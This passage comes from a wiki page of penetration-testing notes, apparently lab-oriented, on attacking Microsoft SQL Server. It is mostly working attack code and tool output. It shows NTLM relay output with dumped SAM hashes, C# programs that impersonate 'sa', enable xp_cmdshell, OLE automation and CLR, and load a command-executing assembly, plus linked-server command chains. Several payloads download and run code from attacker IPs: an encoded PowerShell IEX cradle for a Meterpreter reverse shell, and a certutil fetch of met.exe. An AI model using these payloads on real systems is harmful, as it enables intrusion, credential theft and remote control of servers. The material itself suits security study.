[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
